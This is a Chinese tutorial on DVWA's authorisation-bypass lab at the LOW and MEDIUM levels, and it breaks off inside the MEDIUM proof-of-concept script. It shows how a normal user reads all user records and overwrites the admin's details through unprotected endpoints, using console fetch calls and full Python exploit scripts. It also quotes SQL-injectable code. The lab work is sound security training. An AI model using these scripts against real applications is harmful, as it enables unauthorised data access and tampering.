从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程

文章目录

📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 16 篇文章。

一、概述

1、什么是授权绕过?

授权绕过(Authorization Bypass)是指攻击者绕过应用程序的访问控制机制,访问或操作超出其权限范围的数据或功能。

认证(Authentication)与授权(Authorization)的区别:

概念 说明 示例
认证 验证"你是谁" 登录时输入用户名和密码
授权 验证"你能做什么" 普通用户不能修改管理员资料

授权绕过的常见类型:

类型 说明 本模块对应场景
水平越权 访问同级别其他用户的数据 gordonb 改写 pablo 的资料
垂直越权 访问更高权限级别的功能 gordonb 改写 admin 的资料
直接对象引用 通过修改 ID 访问未授权的资源 JSON 请求体里 id 由攻击者任意指定
功能级绕过 直接访问未授权的功能页面 直接访问 get_user_data.php / change_user_details.php

2、本模块的核心漏洞

DVWA 授权绕过模块的核心漏洞是:授权检查(如果有)只保护"页面",不保护"功能"。

复制代码
1. 用户访问主页面 /vulnerabilities/authbypass/(入口检查在这一层)
         ↓
2. 页面里的 authbypass.js 通过 fetch/XHR 调用两个功能文件
         ↓
3. get_user_data.php(读通道) / change_user_details.php(写通道)
   ------功能文件本身(大部分级别下)没有授权检查
         ↓
4. 攻击者跳过主页面,直接访问功能文件
         ↓
5. 入口检查被完整旁路,未授权读/写全部成立 ✅

这个模块比其他模块更"真实"的地方在于:主页面不是一个静态表单,而是一个由 JavaScript 驱动的迷你用户管理系统 ------页面加载后 authbypass.js 自动 GET get_user_data.php 拉取全量用户列表渲染表格,点击 Update 按钮时以 JSON 格式 POST 到 change_user_details.php。两个后端接口就是本模块的"功能",也是攻击者的真正目标。

二、LOW 级别 ------ 主页面与功能文件均无授权检查

1、漏洞描述

LOW 级别下,授权控制完全不存在:

核心问题:

  • source/low.php 里没有任何代码,只有一段注释,提示读者去研究 dvwaHtmlEcho 函数------但连 dvwaHtmlEcho 里也没有针对本模块的检查(只有菜单可见性控制)
  • 主页面 /vulnerabilities/authbypass/ 对任何登录用户开放,普通用户能看到完整的用户管理界面
  • 读通道 get_user_data.php 不检查身份,直接返回 users 表全量数据(JSON)
  • 写通道 change_user_details.php 不检查身份,JSON POST 即可改写任意 user_id 的姓名字段------包括 admin

2、查看网页源代码

php 复制代码
<?php
/*

Nothing to see here for this vulnerability, have a look
instead at the dvwaHtmlEcho function in:

* dvwa/includes/dvwaPage.inc.php

*/

?>

3、分析网页源代码

(1)代码概述

组件 角色 是否有授权检查
主页面 index.php + source/low.php 渲染用户管理界面 ❌ 无
dvwaHtmlEcho()(dvwaPage.inc.php) 页面渲染管线 ❌ 无(仅菜单隐藏)
get_user_data.php 读通道:全量用户 JSON ❌ 无
change_user_details.php 写通道:JSON POST 改姓名 ❌ 无(仅检查请求方法)

(2)漏洞分析

① 漏洞一 ------ 唯一的"防线"是菜单隐藏(安全即隐匿反模式):

非 admin 用户的侧边栏里看不到 Authorisation Bypass 菜单项(L311 的 if 判断),但这只是不显示 ,不是不允许。直接在地址栏输入 URL 即可访问完整页面(实测 gordonb 访问主页面返回 HTTP 200,页面长度 4377 字节,与 admin 的 4470 字节几乎一致)。

② 漏洞二 ------ 读通道无鉴权,全量用户数据泄露:

get_user_data.php 对任意登录用户返回 users 表全量记录。实测 gordonb 在 LOW 下拿到 5 条记录(273 字节 JSON):

json 复制代码
[{"user_id":"1","first_name":"admin","surname":"admin"},
 {"user_id":"2","first_name":"Gordon","surname":"Brown"},
 {"user_id":"3","first_name":"Hack","surname":"Me"},
 {"user_id":"4","first_name":"Pablo","surname":"Picasso"},
 {"user_id":"5","first_name":"Bob","surname":"Smith"}]

admin 的 user_id=1 赫然在列------为后续垂直越权提供了目标 ID。

③ 漏洞三 ------ 写通道无鉴权 + 参数完全可控,水平/垂直越权双双成立:

change_user_details.php 的 UPDATE 语句(官方 master 源码):

php 复制代码
$query = "UPDATE users SET first_name = '" . $data->first_name .
         "', last_name = '" . $data->surname .
         "' where user_id = " . $data->id;

三个问题叠加:

  1. 无授权检查 :不区分当前用户与目标 user_id 的关系
  2. id 完全可控 :把 id 从 2 改成 1,就从"改自己"变成"改 admin"------水平越权升级为垂直越权
  3. 无输入过滤,直接拼接 SQL :笔者实测把 first_name 传成 Go'rdon,服务端直接回显 <pre>You have an error in your SQL syntax...</pre>------本模块还叠加了一个可利用的 SQL 注入漏洞(属于交叉发现,本文聚焦授权绕过,仅在此点到为止)

4、操作步骤

⚠️ 踩坑 1(最容易犯):必须用非 admin 账号测试。 admin 对所有端点永远返回 200,任何级别、任何端点在 admin 视角下看起来都"正常" ,你根本观察不到"绕过"与"拦截"的差别。本模块的正确打开方式是用普通用户 gordonb / abc123 登录------这是模块页面正文里官方亲自给出的账号。

⚠️ 踩坑 2:安全等级 Cookie 是会话级的,每个新会话都要重新设级。 DVWA 的安全级别存在 security Cookie 里,不跟用户绑定。切换账号(或新开浏览器会话)后,必须重新进 DVWA Security 设置等级;另外实测发现任何登录用户都能访问 security.php 给自己设级(gordonb 也能把等级设成 low/medium/high),这个"越权设级"本身就是 DVWA 的教学简化,不必大惊小怪。

(1)观察 LOW 下的主页面(普通用户视角)

  • 用 gordonb / abc123 登录 DVWA,将安全级别设置为 Low
  • 直接在地址栏访问 http://dvwa.cc/vulnerabilities/authbypass/

预期结果:页面正常渲染(HTTP 200),标题下方是完整用户管理表格------ID / First Name / Surname / Update 四列,5 个用户(包括 admin)每人一行,每行一个 Update 按钮。

对照实验(建议做一次) :同样路径用 admin 登录访问,页面几乎一样(实测长度差 93 字节,来自侧边栏菜单项与安全级别控件)。这说明 LOW 下普通用户与 admin 在本模块里没有任何权限差异。

(2)用 F12 直接观察两条通路

  • 按 F12 → Network 标签页,刷新页面,可以看到页面加载后自动发出的 get_user_data.php 请求,响应就是全量用户 JSON
  • 按 F12 → Console,手动复现页面 JS 的两个行为:
javascript 复制代码
// 读通道:直接拉全量用户数据
fetch('get_user_data.php').then(r => r.json()).then(console.log)

// 写通道:以 JSON POST 改 user_id=2 的姓氏(先小改自己,避免破坏环境)
fetch('change_user_details.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: 2, first_name: 'Gordon', surname: 'Pwn3d'})
}).then(r => r.json()).then(console.log)
// 返回 {result: "ok"}

// 读回核验:姓氏已变成 Pwn3d
fetch('get_user_data.php').then(r => r.json()).then(console.log)

预期结果:第一个 fetch 打出 5 个用户;第二个 fetch 返回 {result: "ok"};第三个 fetch 里 user_id=2 的 surname 已是 Pwn3d------写入真实落库 。验证完把 surname 改回 Brown 还原现场。

⚠️ 踩坑 3:change_user_details.php 的请求体必须是 JSON,表单编码会被拒绝。 实测用表单编码 POST user_id=2&first_name=Gordon&surname=Pwn3d,服务端返回 125 字节的 {"result":"fail","error":"Invalid format, expecting \"{id: {user ID}, first_name: ...}"}------因为后端用 file_get_contents('php://input') + json_decode() 解析请求体。参数名也不是表单思路里的 user_id,而是 id。这个坑是笔者第一轮实测亲踩的(当时连续 8 次 "Invalid format")。

⚠️ 踩坑 4:GET change_user_details.php 不会返回任何表单。 它返回 59 字节的 {"result":"fail","error":"Only POST requests are accepted"}。如果照搬原文教程"GET 即可看到修改表单"的步骤,只会拿到这句 JSON,然后误以为"没有漏洞"。真正的表单在主页面 里,由 authbypass.js 动态渲染。

(3)垂直越权:把 admin 改了

  • 在 Console 里把上面写通道 fetch 的 id 改成 1、first_name 改成 admin、surname 改成 PwnedAdmin,执行
  • 再执行读通道 fetch,观察 user_id=1 的变化

预期结果:返回 {result: "ok"},读回时 admin 的 surname 已变成 PwnedAdmin------普通用户改写管理员资料成功 。这是本模块最直观的垂直越权证据。验证完改回 admin / admin 还原。

反面对照(已实测复现) :如果用表单编码、或把参数名写成 user_id、或忘记 Content-Type: application/json,都会得到 "Invalid format" 而不是 "ok"。"拿到了 ok" 与 "数据真的变了" 是两回事------每次写入后务必读回核验。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
 DVWA Authorisation Bypass ------ LOW 级别 PoC(主页面与功能文件均无授权检查)
--------------------------------------------------------------------
 漏洞原理:
   LOW 级别下,授权检查完全缺失:
     ① 主页面 /vulnerabilities/authbypass/ 对任何登录用户开放------
        source/low.php 只有一段注释(提示去看 dvwaHtmlEcho),
        连"是否为 admin"的判断都没有;
     ② 功能文件 get_user_data.php 在 low 下不检查用户身份,
        直接返回 users 表全量数据(JSON);
     ③ 功能文件 change_user_details.php 在 low 下同样不检查身份,
        接收 JSON POST 即可改写任意 user_id 的 first_name/last_name。
     由此形成两条完整的越权链:
        水平越权:gordonb 改自己的资料(合法),也能改别人(非法);
        垂直越权:gordonb 直接改写 admin 的资料------普通用户触碰管理员数据。

 验证方法(读 + 写双通道验证):
   ① 以非 admin 用户 gordonb/abc123 登录(DVWA 默认内置账号);
   ② 通过官方 security.php 接口把安全等级设为 low;
   ③ 直接 GET 两个功能文件,确认无需任何授权即可读全量用户数据;
   ④ 用 JSON POST 实际改写 gordonb 自己与 admin 的姓名字段,
      每次写入后读回核验,验证完立即还原------"写入成功"以数据落库为准,
      而不是只看 HTTP 状态码。

 使用方法:
   python poc_authbypass_low.py -t http://dvwa.cc [-u gordonb] [-p abc123]

 免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""

import argparse
import json
import re
import sys

import requests


class DVWASession:
    """DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""

    TOKEN_RE = re.compile(
        r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)

    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.http = requests.Session()
        self.http.headers.update(
            {"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})

    # ---------------- 内部工具 ----------------
    def _get(self, path, **kw):
        return self.http.get(self.base_url + path, timeout=10, **kw)

    def _post(self, path, data=None, **kw):
        return self.http.post(self.base_url + path, data=data, timeout=10, **kw)

    def _fetch_token(self, path):
        """访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
        html = self._get(path).text
        m = self.TOKEN_RE.search(html)
        return m.group(1) if m else None

    def _is_login_page(self, html):
        return bool(re.search(r"name=['\"]username['\"]", html))

    # ---------------- 前置步骤 ----------------
    def login(self):
        """两步登录:先取登录页 token,再携带 token 提交账号密码。"""
        data = {"username": self.username, "password": self.password,
                "Login": "Login"}
        token = self._fetch_token("/login.php")
        if token:
            data["user_token"] = token
        self._post("/login.php", data)

        html = self._get("/index.php").text
        if self._is_login_page(html):
            raise RuntimeError("登录失败:请检查用户名/密码或目标地址")

    def set_security(self, level):
        """通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
        data = {"security": level, "seclev_submit": "Submit"}
        token = self._fetch_token("/security.php")
        if token:
            data["user_token"] = token
        self._post("/security.php", data)

        current = self.http.cookies.get("security")
        if current != level:
            raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")

    # ---------------- 漏洞接口封装 ----------------
    def get_user_data(self):
        """GET 功能文件1:全量用户数据(JSON)。"""
        return self._get("/vulnerabilities/authbypass/get_user_data.php")

    def change_user_details(self, user_id, first_name, surname):
        """POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
        return self._post(
            "/vulnerabilities/authbypass/change_user_details.php",
            json={"id": user_id, "first_name": first_name, "surname": surname})


def run(base_url, username, password):
    print("[*] 目标地址:", base_url)
    print("[*] 测试账号(非 admin):", username)
    print("-" * 60)

    # ① 登录并设置安全等级
    dvwa = DVWASession(base_url, username, password)
    print("[*] 步骤1: 登录 DVWA(普通用户) ...")
    dvwa.login()
    print("[+] 登录成功")

    print("[*] 步骤2: 通过官方接口设置安全等级 low ...")
    dvwa.set_security("low")
    print("[+] 安全等级已设为 low(Cookie 校验通过)")
    print("-" * 60)

    # ② 主页面基线:low 下不拦截
    print("[*] 步骤3: 直接访问主页面 /vulnerabilities/authbypass/ ...")
    r = dvwa._get("/vulnerabilities/authbypass/")
    if r.status_code == 200 and "user manager" in r.text:
        print(f"[+] 主页面未做任何拦截(HTTP {r.status_code}),"
              f"普通用户可见完整用户管理界面")
    else:
        print(f"[-] 主页面响应异常:HTTP {r.status_code},结果需人工复核")
    print("-" * 60)

    # ③ 读通道:get_user_data.php
    print("[*] 步骤4: 直接 GET 功能文件 get_user_data.php ...")
    r = dvwa.get_user_data()
    users = []
    try:
        users = json.loads(r.text)
    except json.JSONDecodeError:
        pass
    if r.status_code == 200 and users:
        print(f"[+] 读通道绕过成功(HTTP {r.status_code}),"
              f"无需授权读到 {len(users)} 条用户记录:")
        for u in users:
            print(f"      user_id={u['user_id']:>2}  {u['first_name']} {u['surname']}")
        print("      ↑ admin 的记录也在其中------数据库全量数据对普通用户可见")
    else:
        print(f"[-] 读通道未绕过:HTTP {r.status_code},响应: {r.text[:80]}")
    print("-" * 60)

    # ④ 写通道:change_user_details.php(水平越权:改自己)
    print("[*] 步骤5: JSON POST 改写 user_id=2(gordonb 自己)Brown → Pwn3d ...")
    r = dvwa.change_user_details(2, "Gordon", "Pwn3d")
    print(f"    服务端返回: {r.text.strip()}")
    after = json.loads(dvwa.get_user_data().text)
    row2 = next((u for u in after if u["user_id"] == "2"), {})
    if r.json().get("result") == "ok" and row2.get("surname") == "Pwn3d":
        print("[+] 水平越权写入成功:数据已真实落库")
    else:
        print("[-] 写入未生效,结果需人工复核")

    # ⑤ 写通道:垂直越权(改 admin)
    print("[*] 步骤6: JSON POST 改写 user_id=1(admin)admin → PwnedAdmin ...")
    r = dvwa.change_user_details(1, "admin", "PwnedAdmin")
    print(f"    服务端返回: {r.text.strip()}")
    after = json.loads(dvwa.get_user_data().text)
    row1 = next((u for u in after if u["user_id"] == "1"), {})
    if r.json().get("result") == "ok" and row1.get("surname") == "PwnedAdmin":
        print("[+] 垂直越权写入成功:普通用户改写了 admin 的资料!")
    else:
        print("[-] 写入未生效,结果需人工复核")
    print("-" * 60)

    # ⑥ 还原现场
    print("[*] 步骤7: 还原现场(admin → admin,Gordon → Brown) ...")
    dvwa.change_user_details(1, "admin", "admin")
    dvwa.change_user_details(2, "Gordon", "Brown")
    after = json.loads(dvwa.get_user_data().text)
    ok = ("Pwn3d" not in json.dumps(after)
          and "PwnedAdmin" not in json.dumps(after))
    print("[+] 现场已还原" if ok else "[-] 还原失败,请手动检查 users 表")
    print("-" * 60)

    # ⑦ 结论
    print("[*] 结论:")
    print("    LOW 级别主页面与两个功能文件均无授权检查,")
    print("    普通用户可读全量用户数据、可改写包括 admin 在内的任意用户资料,")
    print("    ------ 水平与垂直越权全部成立,授权控制不存在。")


def main():
    parser = argparse.ArgumentParser(
        description="DVWA Authorisation Bypass LOW 级别 PoC(仅供授权靶场使用)")
    parser.add_argument("-t", "--target", default="http://dvwa.cc",
                        help="DVWA 根地址(默认 http://dvwa.cc)")
    parser.add_argument("-u", "--user", default="gordonb",
                        help="登录用户名(需非 admin,默认 gordonb)")
    parser.add_argument("-p", "--password", default="abc123",
                        help="登录密码(默认 abc123)")
    args = parser.parse_args()

    print("⚠️  警告:本脚本仅供本地授权靶场测试使用!")
    print("=" * 60)
    try:
        run(args.target, args.user, args.password)
    except requests.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        sys.exit(1)
    except RuntimeError as e:
        print(f"[-] {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()

脚本说明

(1)总体思路。 本脚本采用"主页面基线 → 读通道验证 → 写通道验证 → 数据落库核验 → 还原现场 "五段式验证法:先以普通用户身份确认主页面完全不设防,再分别验证读(全量数据泄露)与写(改自己+改 admin)两条通路;关键设计是每一次写入都用读回核验收尾 ------服务端返回 {"result":"ok"} 只代表"请求被接受",必须从 get_user_data.php 读回数据确认真实落库,才算"越权成立"。全程自动还原现场,不给靶场留下脏数据。

(2)功能模块划分。

功能模块 说明
DVWASession 类 会话封装:两步登录(user_token 自适应提取)、security.php 设级并用 Cookie 校验结果
get_user_data() 读通道封装:GET 全量用户 JSON
change_user_details() 写通道封装:JSON 请求体 POST(requests 的 json= 参数自动设置 Content-Type),这是与原教程脚本的差异所在
数据落库核验 每次写入后重新 GET 用户表,比对目标字段是否真的变化
主流程 run() 登录 → 设级 → 主页面基线 → 读通道 → 水平越权 → 垂直越权 → 还原 → 结论

说明:脚本默认凭据是 gordonb / abc123 而不是 admin------授权绕过的验证必须站在"被限制的用户"视角,这一点与 JavaScript 模块的 PoC(默认 admin)有本质区别。

(3)逐步逻辑讲解。

首先,登录与设级。 与上一篇同款的 DVWASession:GET /login.php 正则自适应提取 user_token,POST 登录后访问 /index.php 确认不再出现登录表单;设级走官方 security.php,用 Cookie 中的 security 值客观校验。实测 gordonb 也可以自由设级(DVWA 的安全级别是 Cookie 级的,与用户身份无关)。

其次,主页面基线与读通道。 脚本先访问主页面确认 HTTP 200 且包含 "user manager"(LOW 下无任何拦截),再 GET get_user_data.php 并 json.loads 解析------解析成功本身就证明返回的是数据而不是错误信息。打印逐条用户记录,让"全量数据泄露"看得见摸得着。

最后,写通道与落库核验。 写入用 json= 参数发送 {"id":2,"first_name":"Gordon","surname":"Pwn3d"};核验用 next((u for u in after if u["user_id"] == "2"), {}) 从读回数据中取出该行比对 surname。注意一个细节:get_user_data.php 返回的 user_id 是字符串 (JSON 里是 "2" 而不是 2),比对时用 == "2" 而不是 == 2------这也是笔者实测踩过的小坑。垂直越权同理,把 id 换成 1 改写 admin,最后统一还原并复核还原结果。

(4)验证判定逻辑。 LOW 下两条通路都没有任何身份判断,"读回全量数据"与"写入后落库"都是确定性结果而非概率事件;脚本对每个环节都设计了明确的成功判据(状态码 + 关键字 + 数据比对三重),任何一环失败都会输出"结果需人工复核"而不是静默通过------让结论"可解释"而不仅仅是"可执行"。

6、AI视角下的授权绕过检测

(1)攻击面自动发现:从"页面"到"功能文件"的展开

传统漏洞扫描器以"页面"为单位爬取,会把这个模块记为"1 个页面,无参数,无表单"然后跳过------因为表单是 JS 动态渲染的,HTML 源码里的 <tbody> 是空的。AI 自动化检测的第一步改进就是把前端行为纳入攻击面建模 ,本文的踩点脚本 recon_authbypass.py 实际执行的正是这条链路:

步骤 AI 行为 实测产出
① 页面级侦察 GET 主页面,解析 HTML 里的 <script src> 引用 发现 authbypass.js(1842 字节)
② 静态行为提取 对 JS 做"请求发射点"分析:提取 fetch/XHR/open 的目标与方法 发现两条内部端点:GET get_user_data.php、POST change_user_details.php(JSON 体)
③ 端点直连探测 携带普通用户会话直接访问每个端点 读通道 200/273 字节;写通道 GET 200/59 字节 Only POST requests are accepted
④ 请求格式推断 从报错信息 Invalid format, expecting "{id: ...}" 反推请求体格式 确定必须 JSON POST,参数 id/first_name/surname

这个流程的关键启发是:功能文件不是被"猜"出来的,而是从 authbypass.js 里"读"出来的------前端代码是后端接口的说明书。第 ④ 步尤其重要:AI 把一次失败的请求(Invalid format)当作信息源而不是终结信号,从错误提示里反推出正确的请求格式,这正是自动化工具与智能检测的分水岭。

(2)权限矩阵自动构建:双角色差分探测

发现端点之后,AI 检测的核心方法是构建"角色 × 端点"权限矩阵并做差分 。本文 recon_authbypass.py 的 PHASE 1/PHASE 2 就是手工版实现:

探测项 admin 会话 gordonb 会话 差分结论
主页面 200 (4470 B) 200 (4377 B) 无权限差异 → 主页面不设防
get_user_data.php 200 (273 B) 200 (273 B) 无权限差异 → 读通道越权
change_user_details.php 200 (59 B) 200 (59 B) 无权限差异 → 写通道越权

判据规则很朴素但极有效:同一个端点,高权限角色与低权限角色得到"语义等价"的响应(状态码、长度、数据量一致),该端点就大概率缺少授权检查 。AI 的增量价值在于三点:一是自动选对探测角色(用一个只读的低权限账号做基准,而不是拿 admin 自测------admin 视角下一切"正常",这正是踩坑 1 的自动化表述);二是对响应做语义等价判断(4470 与 4377 字节不同,但都包含 user_table 骨架与 "user manager" 文案,语义等价;而非等价响应如 403/12 字节会被立刻识别为"有检查");三是把矩阵结果翻译成风险语言("任何登录用户可读写任意用户资料")。

(3)写入型验证的安全护栏

读通道验证无副作用,写通道验证却会改数据。AI 驱动的写入验证需要内置护栏,本文 PoC 的三条护栏可以直接复用为工程规范:先改自己再改别人 (user_id=2 优先于 user_id=1,缩小误伤半径)、写后必读回核验 (区分 "ok" 与 "落库")、验证后立即还原并复核还原结果 (Pwn3d/PwnedAdmin 关键字清零才算收尾)。

(4)交叉漏洞的顺手捕获

写通道验证时把 first_name 置为 Go'rdon,AI 从响应前缀 <pre>You have an error in your SQL syntax 即可自动归类出第二个漏洞------SQL 注入(UPDATE 型、无过滤)。一次授权检测同时产出"越权 + 注入"两个发现,这种交叉标记能力正是把检测脚本升级为"审计代理"的标志。

7、 LOW级别------小结

LOW 级别的授权控制完全不存在:

  • 唯一的"防线"是菜单项对非 admin 隐藏(安全即隐匿反模式)
  • 主页面、读通道、写通道三层全部对普通用户开放
  • 普通用户可读全量用户数据,可改写包括 admin 在内的任意用户资料
  • 附带发现 UPDATE 语句直接拼接输入的 SQL 注入

一句话总结:LOW 级别的授权检查形同虚设------攻击者甚至不需要"绕过"什么,直接走进去就行;真正需要攻破的只是请求格式这个"工程门槛"。

三、MEDIUM 级别 ------ 入口有检查,功能文件仍裸奔

1、 漏洞描述

MEDIUM 级别在主页面入口加了授权检查,但功能文件一行代码都没改:

核心机制:

  • source/medium.php 在页面组装早期判断 dvwaCurrentUser() != "admin",非 admin 直接 Unauthorised + 403
  • 注释里官方"好心"提示了两个问题文件:get_user_data.php 和 change_user_details.php
  • 两个功能文件在 medium 下依旧不做任何身份检查------检查与功能分离的结构性问题原封未动

核心问题:把门的是"页面",干活的是"文件"。门再严,直接走进工作间就行了。

2、查看网页源代码

php 复制代码
<?php
/*

Only the admin user is allowed to access this page.

Have a look at these two files for possible vulnerabilities: 

* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>

3、分析网页源代码

(1)代码概述

组件 MEDIUM 下的行为 与 LOW 的差异
主页面(source/medium.php 检查) 非 admin → 403 Unauthorised ✅ 新增入口检查
get_user_data.php 非 admin 仍返回全量 JSON(273 B) ❌ 无差异
change_user_details.php 非 admin 仍可 JSON POST 改任意用户 ❌ 无差异

(2)漏洞分析

① 漏洞一 ------ 入口检查只保护"渲染",不保护"数据与功能":

主页面检查拦住的是"看用户管理界面"这个行为,而界面的两根数据管道(读/写端点)谁都没拦。用户管理系统的全部价值在管道里,页面只是个壳。

② 漏洞二 ------ 直接访问功能文件即完整旁路:

实测 gordonb 在 medium 下直接 GET get_user_data.php:HTTP 200、273 字节全量 JSON,与 LOW 下逐字节一致。入口检查形同虚设。

③ 漏洞三 ------ 写通道仍然无鉴权、无过滤:

change_user_details.php 在 medium 下与 LOW 完全一致:JSON POST 即可改写任意用户。实测 gordonb 改写 admin 姓氏成功并读回确认。

4、 操作步骤

⚠️ 踩坑 5:先用主页面"确认拦截",再做"绕过"------顺序不能反。 如果跳过第 (1) 步直接访问功能文件,你永远无法展示"绕过"这个动作本身------没有"403 被拦"作为对照,"200 拿到数据"就只是普通访问。渗透报告的说服力来自对照组。

(1)观察主页面入口检查(普通用户视角)

  • 用 gordonb / abc123 登录 DVWA,将安全级别设置为 Medium
  • 访问 http://dvwa.cc/vulnerabilities/authbypass/

预期结果:页面不再渲染 ,只显示一行白底黑字 Unauthorised。按 F12 → Network 可确认状态码 403、响应体仅 12 字节。

观察细节 :此时侧边栏整个 DVWA 框架都没有了(响应里连 <html> 都没有),说明检查在页面组装极早期就 exit 了------这也是"检查在 source 文件里、require_once 时执行"的行为证据。

(2)绕过:直接访问读通道

  • 地址栏直接访问 http://dvwa.cc/vulnerabilities/authbypass/get_user_data.php

预期结果:浏览器直接显示/下载全量用户 JSON(273 字节,5 条记录),与 LOW 下完全一致------403 的大门口,数据在侧门哗哗地流。

(3)绕过:Console 操作写通道

  • 回到任意已登录页面(如 DVWA 首页)打开 F12 Console,执行:
javascript 复制代码
// 改 admin 的姓氏(垂直越权)
fetch('/vulnerabilities/authbypass/change_user_details.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: 1, first_name: 'admin', surname: 'PwnedAdmin'})
}).then(r => r.json()).then(console.log)
// 返回 {result: "ok"}

// 读回核验
fetch('/vulnerabilities/authbypass/get_user_data.php').then(r => r.json()).then(console.log)

预期结果:返回 {result: "ok"},读回可见 admin 的 surname 已是 PwnedAdmin。验证完改回 admin 还原。

⚠️ 踩坑 6:Console 里 fetch 用绝对路径 /vulnerabilities/authbypass/... 更稳。 如果当前停留在 DVWA 根路径的页面(如 /index.php 或 /security.php),相对路径 get_user_data.php 会解析到错误目录返回 404/登录页。用绝对路径可以避免"明明有漏洞却测试失败"的假阴性。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
 DVWA Authorisation Bypass ------ MEDIUM 级别 PoC(入口有检查,功能文件仍裸奔)
--------------------------------------------------------------------
 漏洞原理:
   MEDIUM 级别只在主页面入口加了授权检查:
     ① source/medium.php 在页面组装早期判断 dvwaCurrentUser() != "admin",
        非 admin 直接 print "Unauthorised" 并返回 403------入口看起来"很安全";
     ② 但两个功能文件在 medium 下依旧不做任何身份检查:
        get_user_data.php 仍然返回全量用户数据(JSON);
        change_user_details.php 仍然接受 JSON POST 改写任意用户。
     检查与功能分离的老问题原封未动:把门的是"页面",干活的是"文件",
     直接访问文件即可让入口检查完全旁路。

 验证方法(先证拦截,再证绕过):
   ① 以非 admin 用户 gordonb/abc123 登录,把安全等级设为 medium;
   ② 先访问主页面,确认 403 + Unauthorised(证明入口检查确实存在);
   ③ 再直接 GET get_user_data.php------照样读出全量用户数据;
   ④ 用 JSON POST 改写 admin 的姓名并读回核验------照样写入成功;
      写入成功后立即还原。"入口拦得住页面,拦不住功能"。

 使用方法:
   python poc_authbypass_medium.py -t http://dvwa.cc [-u gordonb] [-p abc123]

 免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""

import argparse
import json
import re
import sys

import requests


class DVWASession:
    """DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""

    TOKEN_RE = re.compile(
        r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)

    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.http = requests.Session()
        self.http.headers.update(
            {"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})

    # ---------------- 内部工具 ----------------
    def _get(self, path, **kw):
        return self.http.get(self.base_url + path, timeout=10, **kw)

    def _post(self, path, data=None, **kw):
        return self.http.post(self.base_url + path, data=data, timeout=10, **kw)

    def _fetch_token(self, path):
        """访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
        html = self._get(path).text
        m = self.TOKEN_RE.search(html)
        return m.group(1) if m else None

    def _is_login_page(self, html):
        return bool(re.search(r"name=['\"]username['\"]", html))

    # ---------------- 前置步骤 ----------------
    def login(self):
        """两步登录:先取登录页 token,再携带 token 提交账号密码。"""
        data = {"username": self.username, "password": self.password,
                "Login": "Login"}
        token = self._fetch_token("/login.php")
        if token:
            data["user_token"] = token
        self._post("/login.php", data)

        html = self._get("/index.php").text
        if self._is_login_page(html):
            raise RuntimeError("登录失败:请检查用户名/密码或目标地址")

    def set_security(self, level):
        """通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
        data = {"security": level, "seclev_submit": "Submit"}
        token = self._fetch_token("/security.php")
        if token:
            data["user_token"] = token
        self._post("/security.php", data)

        current = self.http.cookies.get("security")
        if current != level:
            raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")

    # ---------------- 漏洞接口封装 ----------------
    def get_user_data(self):
        """GET 功能文件1:全量用户数据(JSON)。"""
        return self._get("/vulnerabilities/authbypass/get_user_data.php")

    def change_user_details(self, user_id, first_name, surname):
        """POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
        return self._post(
            "/vulnerabilities/authbypass/change_user_details.php",
            json={"id": user_id, "first_name": first_name, "surname": surname})


def run(base_url, username, password):
    print("[*] 目标地址:", base_url)
    print("[*] 测试账号(非 admin):", username)
    print("-" * 60)

    # ① 登录并设置安全等级
    dvwa = DVWASession(base_url, username, password)
    print("[*] 步骤1: 登录 DVWA(普通用户) ...")
    dvwa.login()
    print("[+] 登录成功")

    print("[*] 步骤2: 通过官方接口设置安全等级 medium ...")
    dvwa.set_security("medium")
    print("[+] 安全等级已设为 medium(Cookie 校验通过)")
    print("-" * 60)

    # ② 主页面基线:medium 下入口拦截生效
    print("[*] 步骤3: 访问主页面,验证入口授权检查 ...")
    r = dvwa._get("/vulnerabilities/authbypass/")
    if r.status_code == 403 and "Unauthorised" in r.text:
        print(f"[+] 入口检查已生效:HTTP {r.status_code},响应体: {r.text.strip()!r}")
        print("    (页面入口对非 admin 用户明确拒绝)")
    else:
        print(f"[-] 主页面响应异常:HTTP {r.status_code},结果需人工复核")
    print("-" * 60)

    # ③ 读通道绕过:get_user_data.php 仍无检查
    print("[*] 步骤4: 直接 GET 功能文件 get_user_data.php(绕过入口) ...")
    r = dvwa.get_user_data()
    users = []
    try:
        users = json.loads(r.text)
    except json.JSONDecodeError:
        pass
    if r.status_code == 200 and users:
        print(f"[+] 读通道绕过成功(HTTP {r.status_code}),"
              f"入口检查被完全旁路,读到 {len(users)} 条用户记录:")
        for u in users:
            print(f"      user_id={u['user_id']:>2}  {u['first_name']} {u['surname']}")
    else:
        print(f"[-] 读通道未绕过:HTTP {r.status_code},响应: {r.text[:80]}")
    print("-" * 60)

    # ④ 写通道绕过:改写 admin
